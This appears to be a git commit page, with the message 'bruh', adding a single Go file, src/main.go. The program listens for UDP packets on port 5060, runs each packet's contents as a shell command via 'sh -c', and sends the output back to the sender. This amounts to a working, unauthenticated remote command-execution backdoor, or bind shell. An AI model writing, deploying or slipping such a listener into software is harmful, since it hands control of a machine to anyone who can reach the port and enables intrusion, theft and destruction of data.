bruh
This commit is contained in:
commit
e3ae35233f
4 changed files with 56 additions and 0 deletions
41
src/main.go
Normal file
41
src/main.go
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
udpserv, err := net.ListenPacket("udp", ":5060")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer udpserv.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
_, addr, err := udpserv.ReadFrom(buf)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
go response(udpserv, addr, buf)
|
||||
|
||||
}
|
||||
}
|
||||
func response(udpServer net.PacketConn, addr net.Addr, buf []byte) {
|
||||
command := string(buf[:bytes.IndexByte(buf, 0)])
|
||||
print("\"" + command + "\"")
|
||||
cmd := exec.Command("sh", "-c", command)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
fmt.Println("Error:", err)
|
||||
return
|
||||
}
|
||||
|
||||
_, err = udpServer.WriteTo(output, addr)
|
||||
if err != nil {
|
||||
log.Printf("%v", err)
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue